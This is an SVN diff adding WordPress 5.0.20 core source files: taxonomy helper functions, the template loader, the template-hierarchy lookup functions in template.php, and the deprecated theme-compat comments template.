+
+/**
+ * Determine if the given object is associated with any of the given terms.
+ *
+ * The given terms are checked against the object's terms' term_ids, names and slugs.
+ * Terms given as integers will only be checked against the object's terms' term_ids.
+ * If no terms are given, determines if object is associated with any terms in the given taxonomy.
+ *
+ * @since 2.7.0
+ *
+ * @param int              $object_id ID of the object (post ID, link ID, ...).
+ * @param string           $taxonomy  Single taxonomy name.
+ * @param int|string|array $terms     Optional. Term term_id, name, slug or array of said. Default null.
+ * @return bool|WP_Error WP_Error on input error.
+ */
+function is_object_in_term( $object_id, $taxonomy, $terms = null ) {
+	if ( !$object_id = (int) $object_id )
+		return new WP_Error( 'invalid_object', __( 'Invalid object ID.' ) );
+
+	$object_terms = get_object_term_cache( $object_id, $taxonomy );
+	if ( false === $object_terms ) {
+		$object_terms = wp_get_object_terms( $object_id, $taxonomy, array( 'update_term_meta_cache' => false ) );
+		if ( is_wp_error( $object_terms ) ) {
+			return $object_terms;
+		}
+
+		wp_cache_set( $object_id, wp_list_pluck( $object_terms, 'term_id' ), "{$taxonomy}_relationships" );
+	}
+
+	if ( is_wp_error( $object_terms ) )
+		return $object_terms;
+	if ( empty( $object_terms ) )
+		return false;
+	if ( empty( $terms ) )
+		return ( !empty( $object_terms ) );
+
+	$terms = (array) $terms;
+
+	if ( $ints = array_filter( $terms, 'is_int' ) )
+		$strs = array_diff( $terms, $ints );
+	else
+		$strs =& $terms;
+
+	foreach ( $object_terms as $object_term ) {
+		// If term is an int, check against term_ids only.
+		if ( $ints && in_array( $object_term->term_id, $ints ) ) {
+			return true;
+		}
+
+		if ( $strs ) {
+			// Only check numeric strings against term_id, to avoid false matches due to type juggling.
+			$numeric_strs = array_map( 'intval', array_filter( $strs, 'is_numeric' ) );
+			if ( in_array( $object_term->term_id, $numeric_strs, true ) ) {
+				return true;
+			}
+
+			if ( in_array( $object_term->name, $strs ) ) return true;
+			if ( in_array( $object_term->slug, $strs ) ) return true;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Determine if the given object type is associated with the given taxonomy.
+ *
+ * @since 3.0.0
+ *
+ * @param string $object_type Object type string.
+ * @param string $taxonomy    Single taxonomy name.
+ * @return bool True if object is associated with the taxonomy, otherwise false.
+ */
+function is_object_in_taxonomy( $object_type, $taxonomy ) {
+	$taxonomies = get_object_taxonomies( $object_type );
+	if ( empty( $taxonomies ) ) {
+		return false;
+	}
+	return in_array( $taxonomy, $taxonomies );
+}
+
+/**
+ * Get an array of ancestor IDs for a given object.
+ *
+ * @since 3.1.0
+ * @since 4.1.0 Introduced the `$resource_type` argument.
+ *
+ * @param int    $object_id     Optional. The ID of the object. Default 0.
+ * @param string $object_type   Optional. The type of object for which we'll be retrieving
+ *                              ancestors. Accepts a post type or a taxonomy name. Default empty.
+ * @param string $resource_type Optional. Type of resource $object_type is. Accepts 'post_type'
+ *                              or 'taxonomy'. Default empty.
+ * @return array An array of ancestors from lowest to highest in the hierarchy.
+ */
+function get_ancestors( $object_id = 0, $object_type = '', $resource_type = '' ) {
+	$object_id = (int) $object_id;
+
+	$ancestors = array();
+
+	if ( empty( $object_id ) ) {
+
+		/** This filter is documented in wp-includes/taxonomy.php */
+		return apply_filters( 'get_ancestors', $ancestors, $object_id, $object_type, $resource_type );
+	}
+
+	if ( ! $resource_type ) {
+		if ( is_taxonomy_hierarchical( $object_type ) ) {
+			$resource_type = 'taxonomy';
+		} elseif ( post_type_exists( $object_type ) ) {
+			$resource_type = 'post_type';
+		}
+	}
+
+	if ( 'taxonomy' === $resource_type ) {
+		$term = get_term($object_id, $object_type);
+		while ( ! is_wp_error($term) && ! empty( $term->parent ) && ! in_array( $term->parent, $ancestors ) ) {
+			$ancestors[] = (int) $term->parent;
+			$term = get_term($term->parent, $object_type);
+		}
+	} elseif ( 'post_type' === $resource_type ) {
+		$ancestors = get_post_ancestors($object_id);
+	}
+
+	/**
+	 * Filters a given object's ancestors.
+	 *
+	 * @since 3.1.0
+	 * @since 4.1.1 Introduced the `$resource_type` parameter.
+	 *
+	 * @param array  $ancestors     An array of object ancestors.
+	 * @param int    $object_id     Object ID.
+	 * @param string $object_type   Type of object.
+	 * @param string $resource_type Type of resource $object_type is.
+	 */
+	return apply_filters( 'get_ancestors', $ancestors, $object_id, $object_type, $resource_type );
+}
+
+/**
+ * Returns the term's parent's term_ID.
+ *
+ * @since 3.1.0
+ *
+ * @param int    $term_id  Term ID.
+ * @param string $taxonomy Taxonomy name.
+ * @return int|false False on error.
+ */
+function wp_get_term_taxonomy_parent_id( $term_id, $taxonomy ) {
+	$term = get_term( $term_id, $taxonomy );
+	if ( ! $term || is_wp_error( $term ) ) {
+		return false;
+	}
+	return (int) $term->parent;
+}
+
+/**
+ * Checks the given subset of the term hierarchy for hierarchy loops.
+ * Prevents loops from forming and breaks those that it finds.
+ *
+ * Attached to the {@see 'wp_update_term_parent'} filter.
+ *
+ * @since 3.1.0
+ *
+ * @param int    $parent   `term_id` of the parent for the term we're checking.
+ * @param int    $term_id  The term we're checking.
+ * @param string $taxonomy The taxonomy of the term we're checking.
+ *
+ * @return int The new parent for the term.
+ */
+function wp_check_term_hierarchy_for_loops( $parent, $term_id, $taxonomy ) {
+	// Nothing fancy here - bail
+	if ( !$parent )
+		return 0;
+
+	// Can't be its own parent.
+	if ( $parent == $term_id )
+		return 0;
+
+	// Now look for larger loops.
+	if ( !$loop = wp_find_hierarchy_loop( 'wp_get_term_taxonomy_parent_id', $term_id, $parent, array( $taxonomy ) ) )
+		return $parent; // No loop
+
+	// Setting $parent to the given value causes a loop.
+	if ( isset( $loop[$term_id] ) )
+		return 0;
+
+	// There's a loop, but it doesn't contain $term_id. Break the loop.
+	foreach ( array_keys( $loop ) as $loop_member )
+		wp_update_term( $loop_member, $taxonomy, array( 'parent' => 0 ) );
+
+	return $parent;
+}
+
+/**
+ * Sets the last changed time for the 'terms' cache group.
+ *
+ * @since 5.0.0
+ */
+function wp_cache_set_terms_last_changed() {
+	wp_cache_set( 'last_changed', microtime(), 'terms' );
+}
+
+/**
+ * Aborts calls to term meta if it is not supported.
+ *
+ * @since 5.0.0
+ *
+ * @param mixed $check Skip-value for whether to proceed term meta function execution.
+ * @return mixed Original value of $check, or false if term meta is not supported.
+ */
+function wp_check_term_meta_support_prefilter( $check ) {
+	if ( get_option( 'db_version' ) < 34370 ) {
+		return false;
+	}
+
+	return $check;
+}
Index: /tags/5.0.20/src/wp-includes/template-loader.php
===================================================================
--- /tags/5.0.20/src/wp-includes/template-loader.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/template-loader.php	(revision 56912)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * Loads the correct template based on the visitor's url
+ * @package WordPress
+ */
+if ( defined('WP_USE_THEMES') && WP_USE_THEMES )
+	/**
+	 * Fires before determining which template to load.
+	 *
+	 * @since 1.5.0
+	 */
+	do_action( 'template_redirect' );
+
+/**
+ * Filters whether to allow 'HEAD' requests to generate content.
+ *
+ * Provides a significant performance bump by exiting before the page
+ * content loads for 'HEAD' requests. See #14348.
+ *
+ * @since 3.5.0
+ *
+ * @param bool $exit Whether to exit without generating any content for 'HEAD' requests. Default true.
+ */
+if ( 'HEAD' === $_SERVER['REQUEST_METHOD'] && apply_filters( 'exit_on_http_head', true ) )
+	exit();
+
+// Process feeds and trackbacks even if not using themes.
+if ( is_robots() ) :
+	/**
+	 * Fired when the template loader determines a robots.txt request.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'do_robots' );
+	return;
+elseif ( is_feed() ) :
+	do_feed();
+	return;
+elseif ( is_trackback() ) :
+	include( ABSPATH . 'wp-trackback.php' );
+	return;
+endif;
+
+if ( defined('WP_USE_THEMES') && WP_USE_THEMES ) :
+	$template = false;
+	if     ( is_embed()          && $template = get_embed_template()          ) :
+	elseif ( is_404()            && $template = get_404_template()            ) :
+	elseif ( is_search()         && $template = get_search_template()         ) :
+	elseif ( is_front_page()     && $template = get_front_page_template()     ) :
+	elseif ( is_home()           && $template = get_home_template()           ) :
+	elseif ( is_post_type_archive() && $template = get_post_type_archive_template() ) :
+	elseif ( is_tax()            && $template = get_taxonomy_template()       ) :
+	elseif ( is_attachment()     && $template = get_attachment_template()     ) :
+		remove_filter('the_content', 'prepend_attachment');
+	elseif ( is_single()         && $template = get_single_template()         ) :
+	elseif ( is_page()           && $template = get_page_template()           ) :
+	elseif ( is_singular()       && $template = get_singular_template()       ) :
+	elseif ( is_category()       && $template = get_category_template()       ) :
+	elseif ( is_tag()            && $template = get_tag_template()            ) :
+	elseif ( is_author()         && $template = get_author_template()         ) :
+	elseif ( is_date()           && $template = get_date_template()           ) :
+	elseif ( is_archive()        && $template = get_archive_template()        ) :
+	else :
+		$template = get_index_template();
+	endif;
+	/**
+	 * Filters the path of the current template before including it.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $template The path of the template to include.
+	 */
+	if ( $template = apply_filters( 'template_include', $template ) ) {
+		include( $template );
+	} elseif ( current_user_can( 'switch_themes' ) ) {
+		$theme = wp_get_theme();
+		if ( $theme->errors() ) {
+			wp_die( $theme->errors() );
+		}
+	}
+	return;
+endif;
Index: /tags/5.0.20/src/wp-includes/template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/template.php	(revision 56912)
@@ -0,0 +1,692 @@
+<?php
+/**
+ * Template loading functions.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve path to a template
+ *
+ * Used to quickly retrieve the path of a template without including the file
+ * extension. It will also check the parent theme, if the file exists, with
+ * the use of locate_template(). Allows for more generic template location
+ * without the use of the other get_*_template() functions.
+ *
+ * @since 1.5.0
+ *
+ * @param string $type      Filename without extension.
+ * @param array  $templates An optional list of template candidates
+ * @return string Full path to template file.
+ */
+function get_query_template( $type, $templates = array() ) {
+	$type = preg_replace( '|[^a-z0-9-]+|', '', $type );
+
+	if ( empty( $templates ) )
+		$templates = array("{$type}.php");
+
+	/**
+	 * Filters the list of template filenames that are searched for when retrieving a template to use.
+	 *
+	 * The last element in the array should always be the fallback template for this query type.
+	 *
+	 * Possible values for `$type` include: 'index', '404', 'archive', 'author', 'category', 'tag', 'taxonomy', 'date',
+	 * 'embed', 'home', 'frontpage', 'page', 'paged', 'search', 'single', 'singular', and 'attachment'.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $templates A list of template candidates, in descending order of priority.
+	 */
+	$templates = apply_filters( "{$type}_template_hierarchy", $templates );
+
+	$template = locate_template( $templates );
+
+	/**
+	 * Filters the path of the queried template by type.
+	 *
+	 * The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
+	 * extension and any non-alphanumeric characters delimiting words -- of the file to load.
+	 * This hook also applies to various types of files loaded as part of the Template Hierarchy.
+	 *
+	 * Possible values for `$type` include: 'index', '404', 'archive', 'author', 'category', 'tag', 'taxonomy', 'date',
+	 * 'embed', 'home', 'frontpage', 'page', 'paged', 'search', 'single', 'singular', and 'attachment'.
+	 *
+	 * @since 1.5.0
+	 * @since 4.8.0 The `$type` and `$templates` parameters were added.
+	 *
+	 * @param string $template  Path to the template. See locate_template().
+	 * @param string $type      Filename without extension.
+	 * @param array  $templates A list of template candidates, in descending order of priority.
+	 */
+	return apply_filters( "{$type}_template", $template, $type, $templates );
+}
+
+/**
+ * Retrieve path of index template in current or parent template.
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'index'.
+ *
+ * @since 3.0.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to index template file.
+ */
+function get_index_template() {
+	return get_query_template('index');
+}
+
+/**
+ * Retrieve path of 404 template in current or parent template.
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is '404'.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to 404 template file.
+ */
+function get_404_template() {
+	return get_query_template('404');
+}
+
+/**
+ * Retrieve path of archive template in current or parent template.
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'archive'.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to archive template file.
+ */
+function get_archive_template() {
+	$post_types = array_filter( (array) get_query_var( 'post_type' ) );
+
+	$templates = array();
+
+	if ( count( $post_types ) == 1 ) {
+		$post_type = reset( $post_types );
+		$templates[] = "archive-{$post_type}.php";
+	}
+	$templates[] = 'archive.php';
+
+	return get_query_template( 'archive', $templates );
+}
+
+/**
+ * Retrieve path of post type archive template in current or parent template.
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'archive'.
+ *
+ * @since 3.7.0
+ *
+ * @see get_archive_template()
+ *
+ * @return string Full path to archive template file.
+ */
+function get_post_type_archive_template() {
+	$post_type = get_query_var( 'post_type' );
+	if ( is_array( $post_type ) )
+		$post_type = reset( $post_type );
+
+	$obj = get_post_type_object( $post_type );
+	if ( ! ( $obj instanceof WP_Post_Type ) || ! $obj->has_archive ) {
+		return '';
+	}
+
+	return get_archive_template();
+}
+
+/**
+ * Retrieve path of author template in current or parent template.
+ *
+ * The hierarchy for this template looks like:
+ *
+ * 1. author-{nicename}.php
+ * 2. author-{id}.php
+ * 3. author.php
+ *
+ * An example of this is:
+ *
+ * 1. author-john.php
+ * 2. author-1.php
+ * 3. author.php
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'author'.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to author template file.
+ */
+function get_author_template() {
+	$author = get_queried_object();
+
+	$templates = array();
+
+	if ( $author instanceof WP_User ) {
+		$templates[] = "author-{$author->user_nicename}.php";
+		$templates[] = "author-{$author->ID}.php";
+	}
+	$templates[] = 'author.php';
+
+	return get_query_template( 'author', $templates );
+}
+
+/**
+ * Retrieve path of category template in current or parent template.
+ *
+ * The hierarchy for this template looks like:
+ *
+ * 1. category-{slug}.php
+ * 2. category-{id}.php
+ * 3. category.php
+ *
+ * An example of this is:
+ *
+ * 1. category-news.php
+ * 2. category-2.php
+ * 3. category.php
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'category'.
+ *
+ * @since 1.5.0
+ * @since 4.7.0 The decoded form of `category-{slug}.php` was added to the top of the
+ *              template hierarchy when the category slug contains multibyte characters.
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to category template file.
+ */
+function get_category_template() {
+	$category = get_queried_object();
+
+	$templates = array();
+
+	if ( ! empty( $category->slug ) ) {
+
+		$slug_decoded = urldecode( $category->slug );
+		if ( $slug_decoded !== $category->slug ) {
+			$templates[] = "category-{$slug_decoded}.php";
+		}
+
+		$templates[] = "category-{$category->slug}.php";
+		$templates[] = "category-{$category->term_id}.php";
+	}
+	$templates[] = 'category.php';
+
+	return get_query_template( 'category', $templates );
+}
+
+/**
+ * Retrieve path of tag template in current or parent template.
+ *
+ * The hierarchy for this template looks like:
+ *
+ * 1. tag-{slug}.php
+ * 2. tag-{id}.php
+ * 3. tag.php
+ *
+ * An example of this is:
+ *
+ * 1. tag-wordpress.php
+ * 2. tag-3.php
+ * 3. tag.php
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'tag'.
+ *
+ * @since 2.3.0
+ * @since 4.7.0 The decoded form of `tag-{slug}.php` was added to the top of the
+ *              template hierarchy when the tag slug contains multibyte characters.
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to tag template file.
+ */
+function get_tag_template() {
+	$tag = get_queried_object();
+
+	$templates = array();
+
+	if ( ! empty( $tag->slug ) ) {
+
+		$slug_decoded = urldecode( $tag->slug );
+		if ( $slug_decoded !== $tag->slug ) {
+			$templates[] = "tag-{$slug_decoded}.php";
+		}
+
+		$templates[] = "tag-{$tag->slug}.php";
+		$templates[] = "tag-{$tag->term_id}.php";
+	}
+	$templates[] = 'tag.php';
+
+	return get_query_template( 'tag', $templates );
+}
+
+/**
+ * Retrieve path of custom taxonomy term template in current or parent template.
+ *
+ * The hierarchy for this template looks like:
+ *
+ * 1. taxonomy-{taxonomy_slug}-{term_slug}.php
+ * 2. taxonomy-{taxonomy_slug}.php
+ * 3. taxonomy.php
+ *
+ * An example of this is:
+ *
+ * 1. taxonomy-location-texas.php
+ * 2. taxonomy-location.php
+ * 3. taxonomy.php
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'taxonomy'.
+ *
+ * @since 2.5.0
+ * @since 4.7.0 The decoded form of `taxonomy-{taxonomy_slug}-{term_slug}.php` was added to the top of the
+ *              template hierarchy when the term slug contains multibyte characters.
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to custom taxonomy term template file.
+ */
+function get_taxonomy_template() {
+	$term = get_queried_object();
+
+	$templates = array();
+
+	if ( ! empty( $term->slug ) ) {
+		$taxonomy = $term->taxonomy;
+
+		$slug_decoded = urldecode( $term->slug );
+		if ( $slug_decoded !== $term->slug ) {
+			$templates[] = "taxonomy-$taxonomy-{$slug_decoded}.php";
+		}
+
+		$templates[] = "taxonomy-$taxonomy-{$term->slug}.php";
+		$templates[] = "taxonomy-$taxonomy.php";
+	}
+	$templates[] = 'taxonomy.php';
+
+	return get_query_template( 'taxonomy', $templates );
+}
+
+/**
+ * Retrieve path of date template in current or parent template.
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'date'.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to date template file.
+ */
+function get_date_template() {
+	return get_query_template('date');
+}
+
+/**
+ * Retrieve path of home template in current or parent template.
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'home'.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to home template file.
+ */
+function get_home_template() {
+	$templates = array( 'home.php', 'index.php' );
+
+	return get_query_template( 'home', $templates );
+}
+
+/**
+ * Retrieve path of front page template in current or parent template.
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'frontpage'.
+ *
+ * @since 3.0.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to front page template file.
+ */
+function get_front_page_template() {
+	$templates = array('front-page.php');
+
+	return get_query_template( 'front_page', $templates );
+}
+
+/**
+ * Retrieve path of page template in current or parent template.
+ *
+ * The hierarchy for this template looks like:
+ *
+ * 1. {Page Template}.php
+ * 2. page-{page_name}.php
+ * 3. page-{id}.php
+ * 4. page.php
+ *
+ * An example of this is:
+ *
+ * 1. page-templates/full-width.php
+ * 2. page-about.php
+ * 3. page-4.php
+ * 4. page.php
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'page'.
+ *
+ * @since 1.5.0
+ * @since 4.7.0 The decoded form of `page-{page_name}.php` was added to the top of the
+ *              template hierarchy when the page name contains multibyte characters.
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to page template file.
+ */
+function get_page_template() {
+	$id = get_queried_object_id();
+	$template = get_page_template_slug();
+	$pagename = get_query_var('pagename');
+
+	if ( ! $pagename && $id ) {
+		// If a static page is set as the front page, $pagename will not be set. Retrieve it from the queried object
+		$post = get_queried_object();
+		if ( $post )
+			$pagename = $post->post_name;
+	}
+
+	$templates = array();
+	if ( $template && 0 === validate_file( $template ) )
+		$templates[] = $template;
+	if ( $pagename ) {
+		$pagename_decoded = urldecode( $pagename );
+		if ( $pagename_decoded !== $pagename ) {
+			$templates[] = "page-{$pagename_decoded}.php";
+		}
+		$templates[] = "page-{$pagename}.php";
+	}
+	if ( $id )
+		$templates[] = "page-{$id}.php";
+	$templates[] = 'page.php';
+
+	return get_query_template( 'page', $templates );
+}
+
+/**
+ * Retrieve path of search template in current or parent template.
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'search'.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to search template file.
+ */
+function get_search_template() {
+	return get_query_template('search');
+}
+
+/**
+ * Retrieve path of single template in current or parent template. Applies to single Posts,
+ * single Attachments, and single custom post types.
+ *
+ * The hierarchy for this template looks like:
+ *
+ * 1. {Post Type Template}.php
+ * 2. single-{post_type}-{post_name}.php
+ * 3. single-{post_type}.php
+ * 4. single.php
+ *
+ * An example of this is:
+ *
+ * 1. templates/full-width.php
+ * 2. single-post-hello-world.php
+ * 3. single-post.php
+ * 4. single.php
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'single'.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 `single-{post_type}-{post_name}.php` was added to the top of the template hierarchy.
+ * @since 4.7.0 The decoded form of `single-{post_type}-{post_name}.php` was added to the top of the
+ *              template hierarchy when the post name contains multibyte characters.
+ * @since 4.7.0 {Post Type Template}.php was added to the top of the template hierarchy.
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to single template file.
+ */
+function get_single_template() {
+	$object = get_queried_object();
+
+	$templates = array();
+
+	if ( ! empty( $object->post_type ) ) {
+		$template = get_page_template_slug( $object );
+		if ( $template && 0 === validate_file( $template ) ) {
+			$templates[] = $template;
+		}
+
+		$name_decoded = urldecode( $object->post_name );
+		if ( $name_decoded !== $object->post_name ) {
+			$templates[] = "single-{$object->post_type}-{$name_decoded}.php";
+		}
+
+		$templates[] = "single-{$object->post_type}-{$object->post_name}.php";
+		$templates[] = "single-{$object->post_type}.php";
+	}
+
+	$templates[] = "single.php";
+
+	return get_query_template( 'single', $templates );
+}
+
+/**
+ * Retrieves an embed template path in the current or parent template.
+ *
+ * The hierarchy for this template looks like:
+ *
+ * 1. embed-{post_type}-{post_format}.php
+ * 2. embed-{post_type}.php
+ * 3. embed.php
+ *
+ * An example of this is:
+ *
+ * 1. embed-post-audio.php
+ * 2. embed-post.php
+ * 3. embed.php
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'embed'.
+ *
+ * @since 4.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to embed template file.
+ */
+function get_embed_template() {
+	$object = get_queried_object();
+
+	$templates = array();
+
+	if ( ! empty( $object->post_type ) ) {
+		$post_format = get_post_format( $object );
+		if ( $post_format ) {
+			$templates[] = "embed-{$object->post_type}-{$post_format}.php";
+		}
+		$templates[] = "embed-{$object->post_type}.php";
+	}
+
+	$templates[] = "embed.php";
+
+	return get_query_template( 'embed', $templates );
+}
+
+/**
+ * Retrieves the path of the singular template in current or parent template.
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'singular'.
+ *
+ * @since 4.3.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to singular template file
+ */
+function get_singular_template() {
+	return get_query_template( 'singular' );
+}
+
+/**
+ * Retrieve path of attachment template in current or parent template.
+ *
+ * The hierarchy for this template looks like:
+ *
+ * 1. {mime_type}-{sub_type}.php
+ * 2. {sub_type}.php
+ * 3. {mime_type}.php
+ * 4. attachment.php
+ *
+ * An example of this is:
+ *
+ * 1. image-jpeg.php
+ * 2. jpeg.php
+ * 3. image.php
+ * 4. attachment.php
+ *
+ * The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
+ * and {@see '$type_template'} dynamic hooks, where `$type` is 'attachment'.
+ *
+ * @since 2.0.0
+ * @since 4.3.0 The order of the mime type logic was reversed so the hierarchy is more logical.
+ *
+ * @see get_query_template()
+ *
+ * @global array $posts
+ *
+ * @return string Full path to attachment template file.
+ */
+function get_attachment_template() {
+	$attachment = get_queried_object();
+
+	$templates = array();
+
+	if ( $attachment ) {
+		if ( false !== strpos( $attachment->post_mime_type, '/' ) ) {
+			list( $type, $subtype ) = explode( '/', $attachment->post_mime_type );
+		} else {
+			list( $type, $subtype ) = array( $attachment->post_mime_type, '' );
+		}
+
+		if ( ! empty( $subtype ) ) {
+			$templates[] = "{$type}-{$subtype}.php";
+			$templates[] = "{$subtype}.php";
+		}
+		$templates[] = "{$type}.php";
+	}
+	$templates[] = 'attachment.php';
+
+	return get_query_template( 'attachment', $templates );
+}
+
+/**
+ * Retrieve the name of the highest priority template file that exists.
+ *
+ * Searches in the STYLESHEETPATH before TEMPLATEPATH and wp-includes/theme-compat
+ * so that themes which inherit from a parent theme can just overload one file.
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $template_names Template file(s) to search for, in order.
+ * @param bool         $load           If true the template file will be loaded if it is found.
+ * @param bool         $require_once   Whether to require_once or require. Default true. Has no effect if $load is false.
+ * @return string The template filename if one is located.
+ */
+function locate_template($template_names, $load = false, $require_once = true ) {
+	$located = '';
+	foreach ( (array) $template_names as $template_name ) {
+		if ( !$template_name )
+			continue;
+		if ( file_exists(STYLESHEETPATH . '/' . $template_name)) {
+			$located = STYLESHEETPATH . '/' . $template_name;
+			break;
+		} elseif ( file_exists(TEMPLATEPATH . '/' . $template_name) ) {
+			$located = TEMPLATEPATH . '/' . $template_name;
+			break;
+		} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
+			$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
+			break;
+		}
+	}
+
+	if ( $load && '' != $located )
+		load_template( $located, $require_once );
+
+	return $located;
+}
+
+/**
+ * Require the template file with WordPress environment.
+ *
+ * The globals are set up for the template file to ensure that the WordPress
+ * environment is available from within the function. The query variables are
+ * also available.
+ *
+ * @since 1.5.0
+ *
+ * @global array      $posts
+ * @global WP_Post    $post
+ * @global bool       $wp_did_header
+ * @global WP_Query   $wp_query
+ * @global WP_Rewrite $wp_rewrite
+ * @global wpdb       $wpdb
+ * @global string     $wp_version
+ * @global WP         $wp
+ * @global int        $id
+ * @global WP_Comment $comment
+ * @global int        $user_ID
+ *
+ * @param string $_template_file Path to template file.
+ * @param bool   $require_once   Whether to require_once or require. Default true.
+ */
+function load_template( $_template_file, $require_once = true ) {
+	global $posts, $post, $wp_did_header, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;
+
+	if ( is_array( $wp_query->query_vars ) ) {
+		extract( $wp_query->query_vars, EXTR_SKIP );
+	}
+
+	if ( isset( $s ) ) {
+		$s = esc_attr( $s );
+	}
+
+	if ( $require_once ) {
+		require_once( $_template_file );
+	} else {
+		require( $_template_file );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/theme-compat/comments.php
===================================================================
--- /tags/5.0.20/src/wp-includes/theme-compat/comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/theme-compat/comments.php	(revision 56912)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @deprecated 3.0.0
+ *
+ * This file is here for backward compatibility with old themes and will be removed in a future version
+ *
+ */
+_deprecated_file(
+	/* translators: %s: template name */
+	sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ),
+	'3.0.0',
+	null,
+	/* translators: %s: template name */
+	sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) )
+);
+
+// Do not delete these lines
+	if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+		die ('Please do not load this page directly. Thanks!');
+
+	if ( post_password_required() ) { ?>
+		<p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.'); ?></p>
+	<?php
+		return;
+	}
+?>
+
+<!-- You can start editing here. -->
+
+<?php if ( have_comments() ) : ?>
+	<h3 id="comments">
+		<?php
+			if ( 1 == get_comments_number() ) {
+				/* translators: %s: post title */
+				printf( __( 'One response to %s' ),  '&#8220;' . get_the_title() . '&#8221;' );
+			} else {
+				/* translators: 1: number of comments, 2: post title */
+				printf( _n( '%1$s response to %2$s', '%1$s responses to %2$s', get_comments_number() ),
+					number_format_i18n( get_comments_number() ),  '&#8220;' . get_the_title() . '&#8221;' );
+			}
+		?>
+	</h3>
+
+	<div class="navigation">
+		<div class="alignleft"><?php previous_comments_link() ?></div>
+		<div class="alignright"><?php next_comments_link() ?></div>
+	</div>
+
+	<ol class="commentlist">
+	<?php wp_list_comments();?>
+	</ol>
+
+	<div class="navigation">
+		<div class="alignleft"><?php previous_comments_link() ?></div>
+		<div class="alignright"><?php next_comments_link() ?></div>
+	</div>
+ <?php else : // this is displayed if there are no comments so far ?>
+
+	<?php if ( comments_open() ) : ?>
+		<!-- If comments are open, but there are no comments. -->
+
+	 <?php else : // comments are closed ?>
+		<!-- If comments are closed. -->
+		<p class="nocomments"><?php _e('Comments are closed.'); ?></p>
+
+	<?php endif; ?>
+<?php endif; ?>
+
+<?php comment_form(); ?>
Index: /tags/5.0.20/src/wp-includes/theme-compat/embed-404.php
===================================================================
--- /tags/5.0.20/src/wp-includes/theme-compat/embed-404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/theme-compat/embed-404.php	(revision 56912)
